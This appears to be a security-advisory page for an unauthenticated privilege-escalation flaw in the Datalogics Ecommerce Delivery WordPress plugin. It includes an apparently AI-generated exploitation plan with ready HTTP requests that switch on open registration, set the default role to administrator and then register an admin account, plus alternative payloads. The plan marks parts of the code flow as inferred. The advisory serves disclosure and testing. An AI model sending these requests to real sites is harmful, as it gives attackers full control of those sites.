Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Unauthenticated Privilege Escalation
Description
The Datalogics Ecommerce Delivery – Datalogics plugin for WordPress is vulnerable to privilege escalation in all versions up to 2.6.60 (exclusive). This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.6.60
Source Code
WordPress.org SVN# Research Plan: CVE-2026-2631 Unauthenticated Privilege Escalation in Datalogics ## 1. Vulnerability Summary The **Datalogics Ecommerce Delivery** plugin for WordPress is vulnerable to unauthenticated privilege escalation via its REST API. The plugin registers several REST routes under the namespa…
Show full research plan
Research Plan: CVE-2026-2631 Unauthenticated Privilege Escalation in Datalogics
1. Vulnerability Summary
The Datalogics Ecommerce Delivery plugin for WordPress is vulnerable to unauthenticated privilege escalation via its REST API. The plugin registers several REST routes under the namespace datalogics-0/v1 (derived from the datalogics_ID constant). These routes, specifically /update-settings/ and /update-token/, utilize a permission callback named datalogics_permission_check.
The vulnerability exists because datalogics_permission_check likely returns true for unauthenticated requests, or the endpoint datalogics_update_settings allows for arbitrary WordPress options to be updated without sufficient validation. By updating the users_can_register and default_role options, an attacker can enable public registration and ensure all new users are granted the administrator role.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/datalogics-0/v1/update-settings/ - Alternative Endpoint:
POST /wp-json/datalogics-0/v1/update-token/(if the primary fails, this confirms theupdate_optionsink). - Namespace:
datalogics-0/v1(Based ondefine('datalogics_ID','0');indatalogics.php). - Authentication: Unauthenticated.
- Preconditions: The plugin must be active.
- Payload: A JSON object containing WordPress core options:
users_can_register:1default_role:administrator
3. Code Flow
- Entry Point: The WordPress REST API receives a
POSTrequest to/wp-json/datalogics-0/v1/update-settings/. - Hook Registration:
api.phpregisters the route via therest_api_inithook indatalogics_register_api_routes(). - Permission Check: WordPress calls
datalogics_permission_check. If this function returnstrue(which it must for this CVE), the request proceeds. - Callback Execution: WordPress executes the callback
datalogics_update_settings(referenced inapi.php). - Sink: The callback (inferred logic) iterates through the provided parameters and calls
update_option($key, $value)for each. - Persistence: The
users_can_registeranddefault_roleoptions are updated in thewp_optionstable.
4. Nonce Acquisition Strategy
Based on the api.php file, the REST routes are registered with a permission_callback. In the WordPress REST API, if the permission_callback returns true, no nonce is required for the request to be processed.
The source code does not show any wp_verify_nonce or check_ajax_referer calls inside the REST callbacks. Therefore, this exploit is likely nonce-less.
5. Exploitation Strategy
Step 1: Update WordPress Options
Use the http_request tool to send a POST request to the update-settings endpoint to enable administrator registration.
HTTP Request:
POST /wp-json/datalogics-0/v1/update-settings/ HTTP/1.1
Host: localhost:8080
Content-Type: application/json
{
"users_can_register": "1",
"default_role": "administrator"
}
Step 2: Verify Option Change (Internal)
Verify that the options were successfully changed using WP-CLI.
Step 3: Register New Admin User
Send a POST request to wp-login.php to register a new account.
HTTP Request:
POST /wp-login.php?action=register HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
user_login=attacker_admin&user_email=attacker@example.com&redirect_to=&wp-submit=Register
6. Test Data Setup
- Plugin Installation: Ensure the Datalogics plugin (version < 2.6.60) is installed and activated.
- Initial State:
wp option get users_can_registershould be0.wp option get default_roleshould besubscriber.
7. Expected Results
- The first request to
/update-settings/should return a200 OKresponse (orsuccess: true). - The options
users_can_registeranddefault_rolewill be updated in the database. - The registration request will succeed, and a new user
attacker_adminwill be created. - The user
attacker_adminwill possess theadministratorrole.
8. Verification Steps
After performing the HTTP requests, run the following WP-CLI commands to confirm escalation:
# Check if registration was enabled
wp option get users_can_register
# Check if default role was changed
wp option get default_role
# Check the role of the newly created user
wp user list --field=roles --user=attacker_admin
9. Alternative Approaches
If the update-settings endpoint does not accept arbitrary options in a JSON body, try:
- Form-Encoded Payload:
POST /wp-json/datalogics-0/v1/update-settings/with bodyusers_can_register=1&default_role=administrator. - Target
update-token:
Test ifPOST /wp-json/datalogics-0/v1/update-token/withtoken=pwnedworks. If it does, thepermission_callbackis definitely bypassed. - Specific Key Injection:
Check if the callback expects a nested array, e.g.,{"settings": {"default_role": "administrator"}}.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.